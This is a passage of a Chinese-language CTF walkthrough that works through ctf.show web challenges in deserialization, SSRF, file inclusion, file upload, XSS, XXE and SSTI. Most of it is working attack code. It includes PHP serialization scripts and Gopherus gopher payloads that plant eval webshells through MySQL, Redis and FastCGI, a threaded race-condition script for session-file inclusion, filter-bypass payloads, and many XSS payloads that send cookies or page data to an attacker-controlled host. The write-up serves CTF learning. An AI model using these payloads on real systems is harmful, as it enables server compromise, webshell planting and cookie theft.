public function __destruct(){
$this->conn->close();
}
我们想要组合起来利用,就得在 login.php
和 index.php
中找到一个包含 dao.php
的文件, index.php
显然合适。
在主页,弱口令admin登不上去了,但是 login.php
多了一个判断,读取cookie反序列化成功的话跳转主页面。cookie添加一个base64编码后的序列化字符串即可。
$user = unserialize(base64_decode($_COOKIE['user']));
if($user){
header("location:index.php");
}
class user{
public $username = 'admin';
public $password = 'admin';
}
echo urlencode(base64_encode(serialize(new user())))
到 index.php
后,接着修改cookie,然后就将木马上传成功了。
<?php
class log{
public $title = 'log.php';
public $info = "<?php eval(\$_POST['shell']);?>";
public function loginfo($info)
{
$this->info = $this->info . $info;
}
public function close()
{
file_put_contents($this->title, $this->info);
}
}
class dao{
private $config = 'abc';
private $conn;
public function __construct()
{
$this->conn = new log();
}
}
$a = new dao();
echo urlencode(base64_encode(serialize($a)));
web307
/controller/service/dao/class.php
下找到 file_put_contents
函数。但是全局搜索了一下,没找到调用 closelog()
函数的地方,显然无法利用这个地方getshell。
class log{
public $title='log.txt';
public $info='';
public function loginfo($info){
$this->info=$this->info.$info;
}
public function closelog(){
file_put_contents($this->title, $this->info);
}
}
随后在 /controller/service/dao/dao.php
中的 dao
类找到这个函数,如果参数我们能控制的话就能任意执行命令了。
public function clearCache(){
shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
}
在 /controller/logout.php
中,从cookie中取出序列化代码,然后反序列化,接着调用 clearCache()
,这样思路就很清晰了。
$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
$service->clearCache();
}
生成payload,添加到cookie,然后访问 /controller/logout.php
,字符串被反序列化成 dao
类,然后调用了他的 closelog()
函数,执行了 shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
,但是参数被我们进行拼接了,就写入了木马文件,蚁剑连上就可以了。
<?php
class dao{
private $config;
private $conn;
public function __construct(){
$this->config=new config();
}
}
class config{
private $mysql_username='root';
private $mysql_password='phpcj';
private $mysql_db='sds';
private $mysql_port=3306;
private $mysql_host='localhost';
public $cache_dir = ';echo "<?php eval(\$_POST["shell"]);?>" >a.php;';
}
echo base64_encode(serialize(new dao()));
web308
在 dao.php
中的命令执行处,新增了一个过滤,只能输入字母才会执行命令,显然是不能拼接命令执行了。
public function clearCache(){
if(preg_match('/^[a-z]+$/i', $this->config->cache_dir)){
shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
}
}
在 /controller/service/util/fun.php
中找到一处ssrf利用点,全局搜索找一下执行该函数的地方。
function checkUpdate($url){
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$res = curl_exec($ch);
curl_close($ch);
return $res;
}
只有 /controller/service/dao/dao.php
里面调用了该函数,那就得想办法控制 $this->config->update_url
的值然后调用该函数了。
public function checkVersion(){
return checkUpdate($this->config->update_url);
}
随后在 index.php
中找到一处先反序列化,然后调用 checkVersion()
的地方,完美!
$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
$lastVersion=$service->checkVersion();
}
使用Gopherus生成payload。
<?php
class dao{
private $config;
private $conn;
public function __construct(){
$this->config = new config();
}
}
class config{
private $mysql_username = 'root';
private $mysql_password = '';
private $mysql_db = 'sds';
private $mysql_port = 3306;
private $mysql_host = 'localhost';
public $cache_dir = 'cache';
public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%51%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%22%73%68%65%6c%6c%22%5d%29%3b%20%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%68%65%6c%6c%2e%70%68%70%22%3b%01%00%00%00%01';
}
echo base64_encode(serialize(new dao()));
web309
这次mysql有密码了,打FastCGI。
# python gopherus.py --exploit fastcgi
________ .__
/ _____/ ____ ______ | |__ ___________ __ __ ______
/ \ ___ / _ \\____ \| | \_/ __ \_ __ \ | \/ ___/
\ \_\ ( <_> ) |_> > Y \ ___/| | \/ | /\___ \
\______ /\____/| __/|___| /\___ >__| |____//____ >
\/ |__| \/ \/ \/
author: $_SpyD3r_$
Give one file name which should be surely present in the server (prefer .php file)
if you don't know press ENTER we have default one: index.php
Terminal command to run: cat fl*
Your gopher link is ready to do SSRF:
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH59%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3B%04%00%3C%3Fphp%20system%28%27cat%20fl%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
poc:
<?php
class dao{
private $config;
private $conn;
public function __construct(){
$this->config = new config();
}
}
class config{
private $mysql_username = 'root';
private $mysql_password = '';
private $mysql_db = 'sds';
private $mysql_port = 3306;
private $mysql_host = 'localhost';
public $cache_dir = 'cache';
public $update_url = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH59%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3B%04%00%3C%3Fphp%20system%28%27cat%20fl%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00';
}
echo base64_encode(serialize(new dao()));
web310
读取 /etc/nginx/nginx.conf
文件,发现如下关键信息。
```nginx.conf
server {
listen 4476;
server_name localhost;
root /var/flag;
index index.html;
<pre><code> proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
</code></pre>
<pre><code class="">poc:
```php
<?php
class dao{
private $config;
private $conn;
public function __construct(){
$this->config = new config();
}
}
class config{
private $mysql_username = 'root';
private $mysql_password = '';
private $mysql_db = 'sds';
private $mysql_port = 3306;
private $mysql_host = 'localhost';
public $cache_dir = 'cache';
public $update_url = 'http://127.0.0.1:4476';
}
echo base64_encode(serialize(new dao()));
0x05 SSRF
web351
curl_init(url)函数初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用。
curl_init():初始curl会话
curl_setopt():会话设置
curl_exec():执行curl会话,获取内容
curl_close():会话关闭
传入一个参数,然后用 curl_init(url)
初始化一个新的会话,接着用curl_exec
执行一个cURL会话。
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
由于flag.php
只能本地访问,所以我们就可以传入参数的值为 127.0.0.1/flag.php
,就可以返回 flag.php
的内容了。
web352
开始对我们的输入进行过滤了,限定了请求的协议,还把 localhost|127.0.0
给ban了。
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
parse_url — 解析 URL,返回其组成部分
本函数解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。
本函数不是用来验证给定 URL 的合法性的,只是将其分解为下面列出的部分。不完整的 URL 也被接受,parse_url() 会尝试尽量正确地将其解析。
也就是说我们可以传入一个不完整的url来绕过正则检测,而且 127.1
也会被解析为 127.0.0.1
。
传入 url=http://127.1/flag.php
即可。
web353
把127给过滤了。
if(!preg_match('/localhost|127\.0\.|\。/i', $url))
在Linux下,0
也会被解析为 127.0.0.1
。
payload : url=http://0/flag.php
web354
0
和 1
都被过滤了。
if(!preg_match('/localhost|1|0|。/i', $url))
可以使用302跳转
<?php
header("Location: http://127.0.0.1/flag.php");
http://sudo.cc
这个域名是解析到127.0.0.1
的,传入 url=http://sudo.cc/flag.php
即可。
web355
限制了主机名的长度。
$host=$x['host'];
if((strlen($host)<=5))
url=http://0/flag.php
web356
限制主机名长度为3。
if((strlen($host)<=3))
url=http://0/flag.php
web357
<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_POST['url'];
$x = parse_url($url);
if ($x['scheme'] === 'http' || $x['scheme'] === 'https') {
$ip = gethostbyname($x['host']);
echo '</br>' . $ip . '</br>';
if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}
echo file_get_contents($_POST['url']);
} else {
die('scheme');
}
?>
使用过滤器来过滤了主机名
filter_var() 函数通过指定的过滤器过滤变量
FILTER_VALIDATE_IP
- 把值作为 IP 地址来验证。
FILTER_FLAG_NO_PRIV_RANGE
- 要求值是 RFC 指定的私域 IP (比如 192.168.0.1)
FILTER_FLAG_NO_RES_RANGE
- 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。
在自己的服务器上写一个PHP文件
<?php
header("Location:http://127.0.0.1/flag.php");
传参 url=http://url/302.php
即可。
web358
这下限制了我们的输入格式。以 http:
开头,包含 ctf.
,以 show
结尾。
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}
当parse_url()解析到邮箱时:@前面是user
file_get_contents()会访问host:port/path,与user无关
payload: http://ctf.@127.0.0.1/flag.php?show
web359
使用Gopherus生成payload。
# python gopherus.py --exploit mysql
________ .__
/ _____/ ____ ______ | |__ ___________ __ __ ______
/ \ ___ / _ \\____ \| | \_/ __ \_ __ \ | \/ ___/
\ \_\ ( <_> ) |_> > Y \ ___/| | \/ | /\___ \
\______ /\____/| __/|___| /\___ >__| |____//____ >
\/ |__| \/ \/ \/
author: $_SpyD3r_$
For making it work username should not be password protected!!!
Give MySQL username: root
Give query to execute: select '<?php eval($_POST["shell"]); ?>' into outfile "/var/www/html/shell.php";
Your gopher link is ready to do SSRF :
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%51%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%22%73%68%65%6c%6c%22%5d%29%3b%20%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%68%65%6c%6c%2e%70%68%70%22%3b%01%00%00%00%01
在表单出找到一个隐藏的输入框,将payload传入,登录,就将一句话木马写入了。
web360
还是可以用Gopherus生成payload,url编码一下传入就行了。
root@LAPTOP-38PB7CLU:/mnt/e/ctf/web/Gopherus# python gopherus.py --exploit redis
________ .__
/ _____/ ____ ______ | |__ ___________ __ __ ______
/ \ ___ / _ \\____ \| | \_/ __ \_ __ \ | \/ ___/
\ \_\ ( <_> ) |_> > Y \ ___/| | \/ | /\___ \
\______ /\____/| __/|___| /\___ >__| |____//____ >
\/ |__| \/ \/ \/
author: $_SpyD3r_$
Ready To get SHELL
What do you want?? (ReverseShell/PHPShell): PHPShell
Give web root location of server (default is /var/www/html):
Give PHP Payload (We have default PHP Shell): <?php eval($_POST["shell"]); ?>
Your gopher link is Ready to get PHP Shell:
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2435%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%22shell%22%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
When it's done you can get PHP Shell in /shell.php at the server with `cmd` as parmeter.
0x06 文件包含
文件包含函数
PHP中文件包含函数有以下四种:
require()
require_once()
include()
include_once()常见的敏感信息路径:
Windows系统
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息
Linux/Unix系统
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
web78
读取一个参数,然后执行 include($file);
。
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
通过filter伪协议读取。
?file=php://filter/convert.base64-encode/resource=flag.php
php://filter(本地磁盘文件进行读取)
元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写。
用法:?filename=php://filter/convert.base64-encode/resource=xxx.php
?filename=php://filter/read=convert.base64-encode/resource=xxx.php
一样。
条件:只是读取,需要开启 allow_url_fopen,不需要开启 allow_url_include;
web79
过滤了php,可以使用data伪协议
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
过滤了php,读取 flag.php
时使用base64来绕过。
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTsgPz4=
data://伪协议
数据流封装器,和php://相似都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的
web80
php和data都被过滤了。
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
可以使用远程文件包含,在服务器写入shell.txt,然后传参 file=url/shell.txt
即可。
<?php eval($_POST['shell']); ?>
web81
冒号也被过滤了,也就是说不能远程文件包含了。
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
当我们访问网站时,服务器的日志中都会记录我们的行为,如果我们在UA头写入一句话木马的,就会被写入日志文件。
UA头写入 <?=eval($_POST['shell']); ?>
,然后传参 ?file=/var/log/nginx/access.log
,post传参 shell=system('ls');
再获取flag就可以了。
web82
.
也被过滤了,也就是说不能包含带有后缀的文件了,而PHP李没用后缀的文件就只有session文件了。利用PHP_SESSION_UPLOAD_PROGRESS进行session文件包含和条件竞争。
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
Session Upload Progress 即 Session 上传进度,是php>=5.4后开始添加的一个特性。PHP 能够在每一个文件上传时监测上传进度。这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。
通过 PHP_SESSION_UPLOAD_PROGRESS 在目标主机上创建一个含有恶意代码的Session文件,之后利用文件包含漏洞去包含这个我们已经传入恶意代码的这个Session文件就可以达到攻击效果。
通过 PHP_SESSION_UPLOAD_PROGRESS
不断写入一句话木马到session中,然后包含这个session文件,再进行写入操作,将一句话木马写入php文件,就可以getshell了。
import requests
import io
import threading
url = 'http://a2a17a1e-4c25-4ad2-9e17-15c8c07a9b7d.challenge.ctf.show:8080/'
sessionid = 'so4ms'
data = {
"1": "file_put_contents('/var/www/html/shell.php','<?php eval($_POST[2]);?>');"
}
def write(session):
fileBytes = io.BytesIO(b'a' * 1024 * 50)
while True:
response = session.post \
(url,
data={
'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>'
},
cookies={
'PHPSESSID': sessionid
},
files={
'file': ('file.jpg', fileBytes)
}
)
def read(session):
while True:
response = session.post \
(url + '?file=/tmp/sess_' + sessionid, data=data,
cookies={
'PHPSESSID': sessionid
}
)
resposne2 = session.get(url + 'shell.php')
if resposne2.status_code == 200:
print('++++++done++++++')
else:
print(resposne2.status_code)
if __name__ == '__main__':
evnet = threading.Event()
with requests.session() as session:
for i in range(10):
threading.Thread(target=write, args=(session,)).start()
for i in range(10):
threading.Thread(target=read, args=(session,)).start()
evnet.set()
web83、web84、web85、web86
同web82
web87
写入文件时,会先写入 <?php die('大佬别秀了');?>
,执行了这句代码后持续就会直接结束,这里绕过 die
可以通过使用协议流的方法使用base64编码绕过。
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
?file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2564%2565%2563%256f%2564%2565%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2531%252e%2570%2568%2570
content=aaPD9waHAgZXZhbCgkX1BPU1RbMF0pOz8%2B
web88
过滤了很多字符,但是没有过滤掉 data
,可以使用 data://
伪协议。
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
base64绕过,由于等号被ban了,所以要把最后的等号删掉。
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTsgPz4
web116
打开是一个视频,把视频下载下来,分解出一张图片,是文件包含的源码。
过滤了挺多,但是 file_get_contents($file)
,直接传入 ?file=flag.php
<?php
function filter($x){
if(preg_match(' /http|https|data|input|rot13|base64|string|log|sess/i ' ,$x)){
die( 'too young too simple sometimes native!');
}
}
$file=isset($_GET['file']?$_GET['file']:"sp2.mp4");
header('Content-Type: video/mp4');
filter($file);
echo file_get_contents($file);
?>
web117
过滤了很多编码方式。
<?php
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
换一种编码绕过。
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pvela$(P_SO[T]1;)>?
0x07 文件上传
web151
第一题前端验证,图片 jpg|jpeg
都不能上传,写一个一句话木马文件,修改后缀为png,抓包修改后缀即可。
web152
同web151
web153
不光前端对文件格式进行检查,后端也对文件进行了检查。
这里我们可以利用 .user.ini
文件对包含恶意代码的图片文件进行文件包含
.user.ini使用范围很广,不仅限于Apache服务器,同样适用于Nginx服务器,只要服务器启用了fastcgi模式(通常非线程安全模式使用的就是fastcgi模式)。
该配置文件有两个配置条件极其关键:
auto_prepend_file = < filename> // 包含在文件头
auto_append_file = < filename> // 包含在文件尾(遇到exit语句失效)
我们上传一个 .user.ini.png
文件,内容如下,然后抓包修改后缀绕过前端检查。其中GIF89a是告诉系统,根据图形交换格式(GIF)89a版进行格式化,生成图形
GIF89a
auto_prepend_file = shell.png
然后上传图片马文件 shell.png
,然后访问 http://url/upload/index.php
就会包含 shell.png
文件,就能够getshell了。
图片马生成:copy test.png/b+demo.php shell.png
web154
对文件内容进行了检查,过滤了 <xphp
,x为任意字符,改一下一句话木马为 <?= evla($_POST['shell']);?>
,然后和上一题一样即可。
web155
同web154
web156
过滤了 []
,修改一句话为 <?= evla($_POST{'shell'});?>
web157
过滤了分号和php
,选择直接输出flag。<?=
tac ../fla*?>
web158
同web157
web159
同web157
web160
反引号也被过滤了,尝试使用日志包含,上传.user.ini
,shell.png写入<?=include"/var/lo"."g/nginx/access.lo"."g"?>
,在上传时UA头写入一句话木马,这样就可以将一句话写入日志文件。然后访问/upload/index.php
就可以getshell了。
web161
shell.png
写入内容如下,其他和之前一样。
GIF89A
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
0x08 XSS
web316
没有过滤,直接打cookie就行了。可以用自己的服务器。python -m http.server 39543
监听端口,接收一下get参数。
<script>location.href='http://ip:39543/'+document.cookie</script>
web317
过滤了 script
<img src='' onerror=location.href='http://ip:39543/'+document.cookie>
web318
img
也过滤了。
<iframe onload=location.href='http://ip:39543/'+document.cookie>
web319
<iframe onload=location.href='http://ip:39543/'+document.cookie>
web320
过滤了空格。
<iframe/**/onload=location.href='http://ip:39543/'+document.cookie>
web321
<iframe/**/onload=location.href='http://ip:39543/'+document.cookie>
web322
<iframe/**/onload=location.href='http://ip:39543/'+document.cookie>
web323
过滤了 iframe
。
<svg/**/onload=location.href='http://ip:39543/'+document.cookie>
web324
<svg/**/onload=location.href='http://ip:39543/'+document.cookie>
web325
<svg/**/onload=location.href='http://ip:39543/'+document.cookie>
web326
<svg/**/onload=location.href='http://ip:39543/'+document.cookie>
web327
只有当发送方为 admin
时才能发送成功。没过滤,直接打cookie就行。
<svg onload=location.href='http://ip:39543/'+document.cookie>
web328
有注册登录的逻辑,还有个管理员可见的账号密码解密,尝试在注册时用户名插入xss代码。
<script>window.open('http://ip:39543/'+document.cookie)</script>
达到了cookie,但是没有flag,把我们的cookie替换为打到的管理员的cookie,就可以到之前那个界面看到flag了。
web329
逻辑同上一题,但是这次打到的cookie没用,我们可以尝试让其直接发送flag给我们。
通过class直接获取flag,然后发送给我们。
<script>window.open('http://47.108.154.109:39543/'+document.getElementsByClassName('laytable-cell-1-0-1')[1].innerHTML)</script>
web330
这次多了一个修改密码的功能,发现修改密码是通过下面这个url实现的,get传参为要修改的密码。
http://a051f6d3-60ec-4eb6-a573-77c7de804359.challenge.ctf.show:8080/api/change.php?p=111111
我们可以这样构造使得管理员修改密码。
<script>window.open('http://127.0.0.1/api/change.php?p=111111')</script>
web331
这次换post请求了,用ajax发送请求。
<script>$.ajax({url:"http://127.0.0.1/api/change.php", method:"POST", data:{'p':'111111'},cache: false, success: function(res){ }});</script>
web332
发现有个购买flag,请求url为 http://ecf1c042-f5f1-46f6-97ef-e3592530318f.challenge.ctf.show:8080/api/getFlag.php
。
还有个转账功能,请求url为 http://ecf1c042-f5f1-46f6-97ef-e3592530318f.challenge.ctf.show:8080/api/amount.php
,post请求传递参数。
直接给别人转负数钱也可以。
或者这样构造,让管理员给我们转账。
<script>$.ajax({url: "http://127.0.0.1/api/amount.php",method: "POST",data:{'u':'so4ms','a':10000},cache: false,success: function(res){}});</script>
web333
不能转负数钱了。
<script>$.ajax({url: "http://127.0.0.1/api/amount.php",method: "POST",data:{'u':'so4ms','a':10000},cache: false,success: function(res){}});</script>
0x09 XXE
web373
可以读取一个xml类型的文件内容。
<?php
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
利用DTD在xml文档中插入恶意的payload。
一个外部实体声明
\
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<So4ms>
<ctfshow>&xxe;</ctfshow>
</So4ms>
0x0a ssti
ssti相关基础知识可以参考这篇文章flask之ssti模版注入从零到入门
__class__ 类的一个内置属性,表示实例对象的类。
__base__ 类型对象的直接基类
__bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
__mro__ 此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
__subclasses__() 返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
__init__ 初始化类,返回的类型是function
__globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__() 返回描写这个对象的字符串,可以理解成就是打印出来。
url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app 应用上下文,一个全局变量。
request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1 get传参
request.values.x1 所有参数
request.cookies cookies参数
request.headers 请求头参数
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)
config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
web361
打开页面后显示了 Hello None
。猜测可能是要输入name。于是get传参 ?name={{9*9}}
,返回了Hello 81
,存在ssti模板注入。
输入 ?name={{"".__class__.__base__}}
,得到了 <class 'object'>
。
有了 <class 'object'>
,输入 ?name={{"".__class__.__base__.__subclasses__()}}
,得到object类的子类的集合。
